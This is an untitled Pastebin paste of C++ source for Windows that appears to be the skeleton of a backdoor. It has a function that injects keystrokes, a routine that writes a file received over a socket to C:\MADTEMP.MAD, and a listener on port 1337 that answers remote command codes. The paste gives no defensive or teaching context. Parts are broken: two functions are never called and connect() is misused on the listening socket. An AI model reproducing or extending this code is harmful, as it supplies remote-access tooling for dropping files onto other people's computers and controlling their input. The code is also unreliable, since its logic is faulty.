Advertisement
Guest User

Untitled

a guest
Apr 21st, 2017
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. #define WIN32_LEAN_AND_MEAN
  2. #include <windows.h>
  3. #include <winsock2.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <iostream>
  7. #pragma comment(lib, "ws2_32.lib")
  8. using namespace std;
  9. void TypeStr(char *lpszString)
  10. {
  11. char cChar;
  12. while((cChar = *lpszString++)){
  13. short vk = VkKeyScan(cChar);
  14. if((vk >> 8) & 1) keybd_event(VK_LSHIFT, 0, 0, 0);
  15. keybd_event((unsigned char)vk, 0, 0, 0);
  16. keybd_event((unsigned char)vk, 0, KEYEVENTF_KEYUP, 0);
  17. if((vk >> 8) & 1) keybd_event(VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0);
  18. }
  19. }
  20. void retrieve_file(int sock)
  21. {
  22. int i, j;
  23. HANDLE hFile=NULL;
  24. char path[MAX_PATH]="C:\\MADTEMP.MAD", buf[1024];
  25. char buf2[MAX_PATH];
  26. DWORD dw;
  27. srand(GetTickCount());
  28. char random[MAX_PATH];
  29. int e,d;
  30. d = 3 + (rand() % 10);
  31. for (e=0; e<d; e++)
  32. random[e] = 'a' + (rand() % 26);
  33. char fslash[260]="//";
  34. hFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,
  35. FILE_ATTRIBUTE_NORMAL, NULL);
  36. if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
  37. hFile = NULL;
  38. goto drop;
  39. }
  40. for (i=0;;) {
  41. j = recv(sock, buf, sizeof(buf), 0);
  42. if (j <= 0) break;
  43. i += j;
  44. WriteFile(hFile, buf, j, &dw, 0);
  45. }
  46. CloseHandle(hFile);
  47. closesocket(sock);
  48. return;
  49. drop: closesocket(sock);
  50. if (hFile != NULL)
  51. return;
  52. }
  53. int main(){
  54. char buf[MAX_PATH]=":MCOM:";
  55. char buf2[MAX_PATH]=" ";
  56. char check1[MAX_PATH]="k";
  57. char rep1[MAX_PATH]="MMCOM: REC=1";
  58. int a;
  59. a = atoi(check1);
  60. WSADATA wsaData;
  61. WSAStartup(MAKEWORD(1, 1), &wsaData);
  62. SOCKET hServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  63. SOCKADDR_IN sai;
  64. sai.sin_family = AF_INET;
  65. sai.sin_addr.s_addr = INADDR_ANY;
  66. sai.sin_port = htons(1337);
  67. bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr));
  68. listen(hServer,10);
  69. SOCKET hClient = accept(hServer,NULL,NULL);
  70. connect(hServer,NULL,0);
  71. send(hClient,buf,strlen(buf),0);
  72. while(1==1){
  73. start:
  74. Sleep(1);
  75. recv(hClient,buf2,sizeof(buf2),0);
  76. int n;
  77. n = atoi(buf2);
  78. if(n==1){
  79. send(hClient,rep1,strlen(rep1),0);
  80. goto start;
  81. }
  82. }
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement